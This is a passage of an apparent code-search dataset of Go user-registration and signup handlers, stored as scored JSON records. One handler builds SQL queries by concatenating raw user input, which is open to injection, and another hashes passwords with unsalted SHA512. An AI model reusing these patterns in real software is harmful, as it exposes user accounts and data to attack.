h.privateKey)\n\t\tif err != nil {\n\t\t\tlog.Error().\n\t\t\t\tStr(\"handler\", \"Registration\").\n\t\t\t\tErr(err).\n\t\t\t\tMsg(\"Cannot encode message\")\n\t\t\tc.String(http.StatusInternalServerError, \"\")\n\t\t\treturn\n\t\t}\n\t\tc.Data(200, \"application/json; charset=utf-8\", respBody)\n\t\treturn\n\t}\n\n\t// The NodeKey we have matches OldNodeKey, which means this is a refresh after an key expiration\n\tif m.NodeKey == wgkey.Key(req.OldNodeKey).HexString() {\n\t\tlog.Debug().\n\t\t\tStr(\"handler\", \"Registration\").\n\t\t\tStr(\"machine\", m.Name).\n\t\t\tMsg(\"We have the OldNodeKey in the database. This is a key refresh\")\n\t\tm.NodeKey = wgkey.Key(req.NodeKey).HexString()\n\t\th.db.Save(&m)\n\n\t\tresp.AuthURL = \"\"\n\t\tresp.User = *m.Namespace.toUser()\n\t\trespBody, err := encode(resp, &mKey, h.privateKey)\n\t\tif err != nil {\n\t\t\tlog.Error().\n\t\t\t\tStr(\"handler\", \"Registration\").\n\t\t\t\tErr(err).\n\t\t\t\tMsg(\"Cannot encode message\")\n\t\t\tc.String(http.StatusInternalServerError, \"Extremely sad!\")\n\t\t\treturn\n\t\t}\n\t\tc.Data(200, \"application/json; charset=utf-8\", respBody)\n\t\treturn\n\t}\n\n\t// We arrive here after a client is restarted without finalizing the authentication flow or\n\t// when headscale is stopped in the middle of the auth process.\n\tif m.Registered {\n\t\tlog.Debug().\n\t\t\tStr(\"handler\", \"Registration\").\n\t\t\tStr(\"machine\", m.Name).\n\t\t\tMsg(\"The node is sending us a new NodeKey, but machine is registered. All clear for /map\")\n\t\tresp.AuthURL = \"\"\n\t\tresp.MachineAuthorized = true\n\t\tresp.User = *m.Namespace.toUser()\n\t\trespBody, err := encode(resp, &mKey, h.privateKey)\n\t\tif err != nil {\n\t\t\tlog.Error().\n\t\t\t\tStr(\"handler\", \"Registration\").\n\t\t\t\tErr(err).\n\t\t\t\tMsg(\"Cannot encode message\")\n\t\t\tc.String(http.StatusInternalServerError, \"\")\n\t\t\treturn\n\t\t}\n\t\tc.Data(200, \"application/json; charset=utf-8\", respBody)\n\t\treturn\n\t}\n\n\tlog.Debug().\n\t\tStr(\"handler\", \"Registration\").\n\t\tStr(\"machine\", m.Name).\n\t\tMsg(\"The node is sending us a new NodeKey, sending auth url\")\n\tresp.AuthURL = fmt.Sprintf(\"%s/register?key=%s\",\n\t\th.cfg.ServerURL, mKey.HexString())\n\trespBody, err := encode(resp, &mKey, h.privateKey)\n\tif err != nil {\n\t\tlog.Error().\n\t\t\tStr(\"handler\", \"Registration\").\n\t\t\tErr(err).\n\t\t\tMsg(\"Cannot encode message\")\n\t\tc.String(http.StatusInternalServerError, \"\")\n\t\treturn\n\t}\n\tc.Data(200, \"application/json; charset=utf-8\", respBody)\n}", "title": "" }, { "docid": "cc31633c823789dd3e82202f8637a0f0", "score": "0.64436966", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\tdecoder := json.NewDecoder(r.Body)\n\tvar reqData registerRequest\n\tif err := decoder.Decode(&reqData); err != nil {\n\t\terrors.NewErrorWithStatusCode(http.StatusBadRequest).WriteTo(w)\n\t\treturn\n\t}\n\n\tvar role string\n\n\tif (reqData.JenisIdentitas == \"NIP\") || (reqData.JenisIdentitas == \"NIK\") {\n\t\trole = \"dosen\"\n\t} else {\n\t\trole = \"mahasiswa\"\n\t}\n\n\tif _, err := models.NewUser(reqData.Email, reqData.Password, reqData.Nama, reqData.JenisIdentitas, reqData.NoIdentitas, reqData.NoTelpon, role); err != nil {\n\t\terrors.NewError(\"user already registered\", http.StatusInternalServerError).WriteTo(w)\n\t\treturn\n\t}\n\n\tif role == \"dosen\" {\n\t\tlastUpdate := time.Now()\n\t\tformatedLastUpdate := lastUpdate.Format(\"2006-01-02 15:04\")\n\n\t\tvar user models.User\n\n\t\tquery := \"SELECT * FROM users WHERE email = ?\"\n\t\tif err := models.Dbm.SelectOne(&user, query, reqData.Email); err != nil {\n\t\t\terrors.NewErrorWithStatusCode(http.StatusInternalServerError).WriteTo(w)\n\t\t\treturn\n\t\t}\n\n\t\tif _, err := models.NewStatus(user.ID, \"Tidak Aktif\", \"\", \"\", formatedLastUpdate); err != nil {\n\t\t\terrors.NewErrorWithStatusCode(http.StatusInternalServerError).WriteTo(w)\n\t\t\treturn\n\t\t}\n\t}\n\n\tjson.NewEncoder(w).Encode(registerResponse{\n\t\tMessage: \"user registered\",\n\t})\n}", "title": "" }, { "docid": "d2b292c16b115fc0fa51386d3745859f", "score": "0.6433104", "text": "func Register(db *dbhelper.DBhelper, handlerData handlerData, w http.ResponseWriter, r *http.Request) {\n\tif !handlerData.config.Server.AllowRegistration {\n\t\tsendResponse(w, models.ResponseError, \"Server doesn't accept registrations\", nil, http.StatusForbidden)\n\t\treturn\n\t}\n\n\tvar request models.CredentialRequest\n\n\tif !parseUserInput(handlerData.config, w, r, &request) {\n\t\treturn\n\t}\n\n\tif isStructInvalid(request) || len(request.Password) != 128 || len(request.Username) > 30 {\n\t\tsendError(\"input missing\", w, models.WrongInputFormatError, http.StatusUnprocessableEntity)\n\t\treturn\n\t}\n\n\texists, err := models.UserExists(db, request.Username)\n\tif err != nil {\n\t\tsendServerError(w)\n\t\treturn\n\t}\n\n\tif exists {\n\t\tsendResponse(w, models.ResponseError, \"User exists\", nil)\n\t\treturn\n\t}\n\n\terr = models.InsertUser(db, request.Username, gaw.SHA512(request.Password+request.Username), gaw.GetIPFromHTTPrequest(r))\n\tif err != nil {\n\t\tsendServerError(w)\n\t\treturn\n\t}\n\n\tsendResponse(w, models.ResponseSuccess, \"\", nil)\n}", "title": "" }, { "docid": "172eb7df83d9a0519829d0540be24b74", "score": "0.6418931", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tfname := r.FormValue(\"fname\")\n\tlname := r.FormValue(\"lname\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\n\tsession, err := NewUser(fname, lname, email, password)\n\tif err != nil {\n\t\tlog.Println(err.Error())\n\t\thttp.Error(w, \"Registration could not be completed at this time.\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tif err = json.NewEncoder(w).Encode(RegisterRes{\n\t\tSession: session,\n\t\tResult: result{\n\t\t\tError: \"\",\n\t\t\tMessage: \"Registration successful\",\n\t\t\tStatus: 200,\n\t\t},\n\t}); err != nil {\n\t\tlog.Println(\"JSON encoder error: \" + err.Error())\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}", "title": "" }, { "docid": "9920880425e9da9883806090ac4abd2a", "score": "0.641093", "text": "func RegisterUsersHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\tclient := NewUsersClient(conn)\n\n\tmux.Handle(\"POST\", pattern_Users_Register_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_Users_Register_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Users_Register_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Users_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_Users_Login_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Users_Login_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Users_Info_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_Users_Info_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Users_Info_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "5b30c37ddc7133cff8c3b693a59c48b1", "score": "0.6410563", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tdisplayRegister(w, r, registerMsg{})\n\tcase \"POST\":\n\t\tregisterAdmin(w, r)\n\tdefault:\n\t\tdisplayRegister(w, r, registerMsg{})\n\t}\n}", "title": "" }, { "docid": "07deb33bde7bdeb99505f06d857e767d", "score": "0.6407792", "text": "func GetRegisterUserHandler(w http.ResponseWriter, r *http.Request) {\n\tsession := GetSession(w, r)\n\tif ok := session.Values[\"user_id\"] != nil; ok {\n\t\trouteName := fmt.Sprintf(\"/%s\", session.Values[\"username\"])\n\t\thttp.Redirect(w, r, routeName, http.StatusFound)\n\t}\n\n\tdata := models.PageData{\n\t\t\"username\": session.Values[\"username\"],\n\t}\n\tredirectToRegister(w, data)\n}", "title": "" }, { "docid": "be87f219c2f8c18c8e17c07fddcc1f25", "score": "0.6400536", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tvar t models.User\n\terr := json.NewDecoder(r.Body).Decode(&t) //Body of an HTTP is an string, once read, its destroyed, careful when using in other parts of the program\n\n\tif err != nil {\n\t\thttp.Error(w, \"Error in the received data \"+err.Error(), 400)\n\t\treturn\n\t}\n\tif len(t.Email) == 0 {\n\t\thttp.Error(w, \"Email of user is required \", 400)\n\t\treturn\n\t}\n\tif len(t.Password) < 6 {\n\t\thttp.Error(w, \"Password least than 6 characters \", 400)\n\t\treturn\n\t}\n\t_, found, _ := bd.CheckUserExists(t.Email) //I can't load the same information every time,\n\tif found == true {\n\t\thttp.Error(w, \"User already exist with this email \", 400)\n\t\treturn\n\t}\n\t_, status, err := bd.InsertRegister(t)\n\tif err != nil {\n\t\thttp.Error(w, \"Error when tried to register user \"+err.Error(), 400)\n\t\treturn\n\t}\n\tif status == false {\n\t\thttp.Error(w, \"Can't insert the user register \", 400)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusCreated)\n\n}", "title": "" }, { "docid": "363a956d106e43333819ef1a13068ad4", "score": "0.6381494", "text": "func Registry(w http.ResponseWriter, r *http.Request) {\n\tvar t models.User\n\terr := json.NewDecoder(r.Body).Decode(&t)\n\n\tif err != nil {\n\t\thttp.Error(w,\"Error in data\" + err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif len(t.Email) == 0 {\n\t\thttp.Error(w, \"Email can't be empty\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif len(t.Password) < 6 {\n\t\thttp.Error(w, \"Password can't be less of 6 caracters\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t_, find, _ := db.CheckUserExist(t.Email)\n\tif find {\n\t\thttp.Error(w, \"User register with that email\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\t_, status, _ := db.InsertRegistry(t)\n\tif err != nil {\n\t\thttp.Error(w, \"Error when insert user registry\"+ err.Error(), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !status {\n\t\thttp.Error(w, \"Error user can't registry\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}", "title": "" }, { "docid": "2ccf54d6888ecab5901411ab40d7e41e", "score": "0.63637936", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\tlog.Println(\"POST /register\")\n\n\tuser := getBodyContent(r)\n\tsuccess := dao.Insert(user)\n\n\tfmt.Fprintf(w, fmt.Sprintf(\"%t\", success))\n}", "title": "" }, { "docid": "fde1966f4dcaa983a28f33a872f5d09d", "score": "0.6363204", "text": "func (handler handler) Register(ctx iris.Context) {\n\trequest := ctx.Values().Get(\"body\").(*RegisterRequest)\n\n\tuser, err := handler.users.CreateUser(request.Email, request.Password)\n\tif err != nil {\n\t\thelper.\n\t\t\tCreateErrorResponse(ctx, err).\n\t\t\tInternalServer().\n\t\t\tJSON()\n\t\treturn\n\t}\n\n\tif !config.EMAILACTIVATION() {\n\t\tctx.Values().Set(\"user\", user)\n\t\tctx.Next()\n\t\treturn\n\t}\n\thelper.\n\t\tCreateResponse(ctx).\n\t\tOk().\n\t\tWithData(map[string]interface{}{\"message\": fmt.Sprintf(\"activation email has been sent to %s\", request.Email)}).\n\t\tJSON()\n}", "title": "" }, { "docid": "24c4de501cb9ad8899424a92c7268804", "score": "0.63465583", "text": "func HandleRegister(r *sipnet.Request, conn *sipnet.Conn) {\n\tfrom, to, err := sipnet.ParseUserHeader(r.Header)\n\tif err != nil {\n\t\tresp := sipnet.NewResponse()\n\t\tresp.BadRequest(conn, r, \"Failed to parse From or To header.\")\n\t\treturn\n\t}\n\n\tif to.URI.UserDomain() != from.URI.UserDomain() {\n\t\tresp := sipnet.NewResponse()\n\t\tresp.BadRequest(conn, r, \"User in To and From fields do not match.\")\n\t\treturn\n\t}\n\n\tauthHeader := r.Header.Get(\"Authorization\")\n\tif authHeader == \"\" {\n\t\trequestAuthentication(r, conn, from)\n\t\treturn\n\t}\n\n\targs, err := parseAuthHeader(authHeader)\n\tif err != nil {\n\t\tresp := sipnet.NewResponse()\n\t\tresp.BadRequest(conn, r, \"Failed to parse Authorization header.\")\n\t\treturn\n\t}\n\n\tcheckAuthorization(r, conn, args, from)\n}", "title": "" }, { "docid": "73f9bdd893280b12b3998b43d139f90b", "score": "0.6341574", "text": "func register(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tvar newUser User\n\tvar getUser User\n\tdecoder := json.NewDecoder(r.Body)\n\terr := decoder.Decode(&newUser)\n\tif err != nil {\n\t\tfmt.Println(\"There was this error : \" + err.Error())\n\t}\n\tvar response Response\n\tsalt, password := Password.ReturnPassword(newUser.Password)\n\tsql := \"Insert into Users SET email='\" +\n\t\tnewUser.Email +\n\t\t\"',first='\" + newUser.First +\n\t\t\"',last='\" + newUser.Last +\n\t\t\"',password='\" + password +\n\t\t\"',salt='\" + salt + \"', prof='\" + newUser.Prof + \"';\"\n\tq, err := database.Exec(sql)\n\tif err != nil {\n\t\tfmt.Printf(\"Error creating user: %s\", err.Error())\n\t\tresponse.Message = err.Error()\n\t\tresponse.Token = \"\"\n\t} else {\n\t\tdatabase.QueryRow(\"Select id from Users where email='\" + newUser.Email + \"';\").Scan(&getUser.ID)\n\t\tresponse.Message = \"Success\"\n\t\tresponse.Token = getToken(getUser.ID)\n\t\tresponse.Username = newUser.Email\n\t}\n\tfmt.Println(q)\n\toutput, _ := json.Marshal(response)\n\tfmt.Fprintln(w, string(output))\n}", "title": "" }, { "docid": "63e52f470520e6f57d4d50837a9a4fc6", "score": "0.633163", "text": "func registerNewUser(rw http.ResponseWriter, req *http.Request) {\r\n\tbody, err := ioutil.ReadAll(req.Body)\r\n\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tvar newUser user\r\n\terr = json.Unmarshal(body, &newUser)\r\n\r\n\tif err != nil {\r\n\t\tpanic(err)\r\n\t}\r\n\r\n\tclient.Trigger(\"update\", \"new-user\", newUser)\r\n\r\n\tjson.NewEncoder(rw).Encode(newUser)\r\n}", "title": "" }, { "docid": "e6bdebffd8ba04d0ea8b97b99481f7b7", "score": "0.6313493", "text": "func (app *application) signupUser(w http.ResponseWriter, r *http.Request) {\n err := r.ParseForm()\n if err != nil {\n app.clientError(w, http.StatusBadRequest)\n return\n }\n\n form := forms.New(r.PostForm)\n form.Required(\"name\", \"email\", \"password\")\n form.MaxLength(\"name\", 255)\n form.MaxLength(\"email\", 255)\n form.MatchesPattern(\"email\", forms.EmailRX)\n form.MinLength(\"password\", 10)\n\n if !form.Valid() {\n app.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n return\n }\n\n err = app.users.Insert(form.Get(\"name\"), form.Get(\"email\"), form.Get(\"password\"))\n if err != nil {\n if errors.Is(err, models.ErrDuplicateEmail) {\n form.Errors.Add(\"email\", \"Address is already in use\")\n app.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n } else {\n app.serverError(w, err)\n }\n return\n }\n\n app.session.Put(r, \"flash\", \"You signup was successful. Please log in\")\n http.Redirect(w, r, \"/users/login\", http.StatusSeeOther)\n}", "title": "" }, { "docid": "be6e0213749fc808734a0397fba46e4b", "score": "0.631257", "text": "func RegisterPost(w http.ResponseWriter, r *http.Request) {\n\n\t//sess := session.Instance(r)\n\tuserName := r.FormValue(\"user_name\")\n\tpassword := r.FormValue(\"user_password\")\n\n\t// Get database result\n\t_,err := model.UserByName(userName)\n\n\tif err != nil { // If success (no user exists with that email)\n\t\tmodel.UserCreate(userName, password)\n\t\t// Will only error if there is a problem with the query\n\t//\tsess.Save(r,w)\n\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t\treturn\n\t} else if err == nil { // Catch all other errors\n\t//\tsess.Save(r,w)\n\t\tlog.Println(err)\n\n\t} else { // Else the user already exists\n\t//\tsess.Save(r,w)\n\t}\n\n\t// Display the page\n\tRegisterGet(w, r)\n}", "title": "" }, { "docid": "15d52f9504ecab2946bfc6f942962705", "score": "0.6300956", "text": "func (s *Servant) RegisterHandler(description Handler) {\n\t// TODO(mtomczak): this doesn't yet support ?arg=$(arg) format\n\ts.role.Handlers = append(s.role.Handlers, description)\n\tmh := matchHandler{\n\t\tname: description.Name,\n\t\tmethod: description.Method,\n\t\thandler: reflect.ValueOf(description.Handler),\n\t}\n\tmh.pathRegexp = substitutionToRegexp(description.Path)\n\tif description.Data != \"\" {\n\t\tmh.dataRegexp = substitutionToRegexp(description.Data)\n\t}\n\n\ts.handlers = append(s.handlers, mh)\n}", "title": "" }, { "docid": "ff9c1f5da8441a1f4fd434a55acfbcda", "score": "0.6297232", "text": "func register(res http.ResponseWriter, req *http.Request) {\n if req.Method != \"POST\" {\n http.Error(res, http.StatusText(405), 405)\n return\n }\n //make room for user\n var usr models.CreateUser\n\n //POST request handling\n decoder := json.NewDecoder(req.Body)\n if err := decoder.Decode(&usr); err != nil {\n http.Error(res, http.StatusText(400), 400)\n return\n }\n\n //validate forms\n isValid := validateEmail(usr.Email) && validateGeneral(usr.Username) && validatePassword(usr.Password)\n if !isValid {\n http.Error(res, http.StatusText(422), 422)\n return\n }\n\n //hash pw\n key := []byte(config.Secret)\n hasher := hmac.New(sha256.New, key)\n hasher.Write([]byte(usr.Password))\n hashword := base64.StdEncoding.EncodeToString(hasher.Sum(nil))\n\n //create user since forms are valid\n id, err := db.CreateUser(usr.Email, usr.Username, hashword);\n\n //check if something went wrong\n if err != nil {\n http.Error(res, http.StatusText(500), 500)\n return\n }\n\n //makes token with id hex baked in\n token, errToken := util.MakeToken(id)\n if errToken != nil {\n http.Error(res, http.StatusText(500), 500)\n return\n }\n\n //send user validation email -- this should be done in a goroutine\n go setupEmail(usr.Email, token)\n\n //statuscode 204\n res.WriteHeader(http.StatusNoContent)\n}", "title": "" }, { "docid": "c76e83dd13015ad905023a81712a299f", "score": "0.6296732", "text": "func SignupHandler(Response http.ResponseWriter, Request *http.Request){\n\tRequest.ParseForm()\n\tvar flag bool\n\tvar template_name string\n\ttemplate_name = \"Signup.html\"\n\tname := Request.FormValue(\"username\")\n\tFirstName := Request.FormValue(\"FirstName\")\n\tLastName := Request.FormValue(\"LastName\")\n\tEmail := Request.FormValue(\"Email\")\n\tpassword := Request.FormValue(\"Password\")\n\n\tuser := Users {UserName :name ,FirstName:FirstName ,LastName:LastName, Email:Email, password : password}\n\tverified := Signupvalidation(user.UserName,user.FirstName,user.LastName,user.Email,user.password)\n\tif verified{\n\t\t//hashedpassword := hash(user.password)\n\t\tflag = Signup(user.UserName, user.FirstName, user.LastName, user.Email, user.password)\n\t\tif flag {\n\t\t\ttemplate_name = \"Home.html\"\n\t\t\tsession, _ := store.Get(Request, \"cookie-name\")\n\t\t\tsession.Values[\"authenticated\"] = true\n\t\t\tsession.Values[\"username\"] = name\n\t\t\tsession.Save(Request, Response)\n\t\t}\n\t}\n\ttemplate,_ := template.ParseFiles(template_name)\n\ttemplate.Execute(Response,flag)\n\t}", "title": "" }, { "docid": "59c41a67724532f16099fa715fb32c95", "score": "0.62895566", "text": "func RegisterRoute(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\ttype requestForm struct {\n\t\t// Global account fields\n\t\tEmail *string `json:\"email\" schema:\"email\"`\n\t\tPassword *string `json:\"password\" schema:\"password\"`\n\t\tType *string `json:\"type\" schema:\"type\"`\n\n\t\t// User specific fields\n\t\tFirstName *string `json:\"first_name\" schema:\"first_name\"`\n\t\tBirthday *string `json:\"string\" schema:\"birthday\"`\n\n\t\t// Organization specific fields\n\t\tIsNonProfit *bool `json:\"is_nonprofit\" schema:\"is_non_profit\"`\n\t\tPreferredName *string `json:\"preferred_name\" schema:\"preferred_name\"`\n\t}\n\n\tvar req requestForm\n\n\terr := DecodeRequest(r, &req)\n\tif err != nil { // Check decoding error\n\t\tif DEBUG {\n\t\t\tlog.Println(err.Error())\n\t\t}\n\t\tSendError(w, http.StatusInternalServerError, internalServerError+\" (There was a problem reading the request.)\", 3205)\n\t\treturn\n\t}\n\tif !VerifyFieldsExist(&req, FormOmit([]string{\"FirstName\", \"Birthday\", \"IsNonProfit\", \"PreferredName\"}), false) { // Check request for correct fields\n\t\tSendError(w, http.StatusBadRequest, badRequest+\" (Bad request.)\", 4050)\n\t\treturn\n\t}\n\tif !VerifyUniqueEmail(*req.Email) { // Check if email is unique\n\t\tSendError(w, http.StatusBadRequest, badRequest+\" (Email already taken.)\", 3201)\n\t\treturn\n\t}\n\n\t// Get hashed bcrypt password\n\thashedPassword, err := CreateHashedPassword(*req.Password)\n\tif err != nil { // check for bcrypt error\n\t\tSendError(w, http.StatusInternalServerError, internalServerError+\" (There was a problem registering the account.)\", 3203)\n\t\treturn\n\t}\n\n\tverifyToken, err := createEmailVerifyToken(*req.Email)\n\tif err != nil {\n\t\tlog.Printf(\"Problem creating verification token: %s\", err.Error())\n\t\tSendError(w, http.StatusInternalServerError, internalServerError, 3204)\n\t\treturn\n\t}\n\n\t// Send email verification email\n\tif err = sendVerificationEmail(verifyToken, *req.Email); err != nil {\n\t\tlog.Printf(\"Problem sending mail: %s\", err.Error())\n\t\tSendError(w, http.StatusInternalServerError, internalServerError+\" (There was a problem sending the verification email. Please ask a website administrator for help.)\", 3204)\n\t\treturn\n\t}\n\n\tif *req.Type == \"user\" {\n\n\t\tif !VerifyFieldsExist(&req, FormOmit([]string{\"FirstName\", \"Birthday\", \"IsNonProfit\", \"PreferredName\"}), true) { // Check request for correct fields\n\t\t\tSendError(w, http.StatusBadRequest, badRequest+\" (Bad request.)\", 4050)\n\t\t\treturn\n\t\t}\n\n\t\t// Default user\n\t\terr = IAccountCollection.Insert(&interfaces_internal.IUser{\n\t\t\tSchemaVersion: 0,\n\t\t\tID: bson.NewObjectId(),\n\t\t\tEmail: *req.Email,\n\t\t\tPassword: string(hashedPassword),\n\t\t\tOAuthToken: \"\",\n\t\t\tOAuthService: \"\",\n\t\t\tIsEmailVerified: false,\n\t\t\tLastLogin: 0,\n\t\t\tNotifications: []interfaces_internal.INotification{},\n\t\t\tAvatar: \"https://pbs.twimg.com/profile_images/1017516299143041024/fLFdcGsl_400x400.jpg\", // TODO default images\n\t\t\tHeader: \"https://pbs.twimg.com/profile_images/1017516299143041024/fLFdcGsl_400x400.jpg\",\n\t\t\tCreatedAt: time.Now().Unix(),\n\t\t\tPendingConnections: []string{},\n\t\t\tRequestedConnections: []string{},\n\t\t\tPosts: []string{},\n\t\t\tLiked: []interfaces_internal.ICom{},\n\t\t\tShared: []interfaces_internal.ICom{},\n\t\t\tSettings: interfaces_internal.IUserSettings{\n\t\t\t\tAllowMessagesFromUnknown: true,\n\t\t\t\tEmailNotifications: false,\n\t\t\t\tIsFullNameVisible: true,\n\t\t\t\tBlockedUsers: []string{},\n\t\t\t},\n\t\t\tAdminNote: \"\",\n\t\t\tType: \"User\",\n\t\t\tPasswordResetToken: \"\",\n\t\t\tVerifyEmailToken: verifyToken,\n\t\t\tAuthKey: GenAuthKey(),\n\t\t\t// user specific fields\n\t\t\tFirstName: *req.FirstName,\n\t\t\tMiddleName: \"\",\n\t\t\tLastName: \"\",\n\t\t\tBirthday: *req.Birthday,\n\t\t\tGender: \"\",\n\t\t\tPersonalInfo: interfaces_internal.IUserProfile{\n\t\t\t\tSchemaVersion: 0,\n\t\t\t\tInterests: []string{},\n\t\t\t\tBiography: \"\",\n\t\t\t\tEducation: \"\",\n\t\t\t\tQuote: \"\",\n\t\t\t\tCurrentResidence: \"\",\n\t\t\t\tCertifications: \"\",\n\t\t\t},\n\t\t\tExperiences: []interfaces_internal.IExperience{},\n\t\t})\n\n\t\t// Check for successful insert to database\n\n\t\tif err != nil {\n\t\t\tSendError(w, http.StatusInternalServerError, internalServerError+\" (There was a problem registering the account.)\", 3203)\n\t\t} else {\n\t\t\tWriteOK(w)\n\t\t}\n\t} else if *req.Type == \"organization\" {\n\n\t\tif !VerifyFieldsExist(&req, FormOmit([]string{\"FirstName\", \"Birthday\", \"IsNonProfit\", \"PreferredName\"}), true) { // Check request for correct fields\n\t\t\tSendError(w, http.StatusBadRequest, badRequest+\" (Bad request.)\", 4050)\n\t\t\treturn\n\t\t}\n\n\t\t// Default organization\n\t\terr = IAccountCollection.Insert(&interfaces_internal.IOrganization{\n\t\t\tSchemaVersion: 0,\n\t\t\tID: bson.NewObjectId(),\n\t\t\tEmail: *req.Email,\n\t\t\tPassword: string(hashedPassword),\n\t\t\tOAuthToken: \"\",\n\t\t\tOAuthService: \"\",\n\t\t\tIsEmailVerified: false,\n\t\t\tLastLogin: 0,\n\t\t\tNotifications: []interfaces_internal.INotification{},\n\t\t\tAvatar: \"https://pbs.twimg.com/profile_images/1017516299143041024/fLFdcGsl_400x400.jpg\",\n\t\t\tHeader: \"https://pbs.twimg.com/profile_images/1017516299143041024/fLFdcGsl_400x400.jpg\",\n\t\t\tCreatedAt: time.Now().Unix(),\n\t\t\tPendingConnections: []string{},\n\t\t\tRequestedConnections: []string{},\n\t\t\tPosts: []string{},\n\t\t\tLiked: []interfaces_internal.ICom{},\n\t\t\tShared: []interfaces_internal.ICom{},\n\t\t\tSettings: interfaces_internal.IOrganizationSettings{\n\t\t\t\tAllowMessagesFromUnknown: true,\n\t\t\t\tEmailNotifications: true,\n\t\t\t\tIsNonprofit: *req.IsNonProfit,\n\t\t\t},\n\t\t\tAdminNote: \"\",\n\t\t\tType: \"Organization\",\n\t\t\tPasswordResetToken: \"\",\n\t\t\tVerifyEmailToken: verifyToken,\n\t\t\tAuthKey: GenAuthKey(),\n\t\t\t// organization specific fields\n\t\t\tPreferredName: *req.PreferredName,\n\t\t\tIsVerified: false,\n\t\t\tOpportunities: []string{},\n\t\t\tOrgInfo: interfaces_internal.IOrganizationProfile{\n\t\t\t\tSchemaVersion: 0,\n\t\t\t\tMission: \"\",\n\t\t\t\tQuote: \"\",\n\t\t\t\tAddress: interfaces_internal.IAddress{\n\t\t\t\t\tSchemaVersion: 0,\n\t\t\t\t\tStreet: \"\",\n\t\t\t\t\tCity: \"\",\n\t\t\t\t\tProvince: \"\",\n\t\t\t\t\tCountry: \"\",\n\t\t\t\t\tPostalCode: \"\",\n\t\t\t\t\tAptNumber: \"\",\n\t\t\t\t\tGeoJSON: 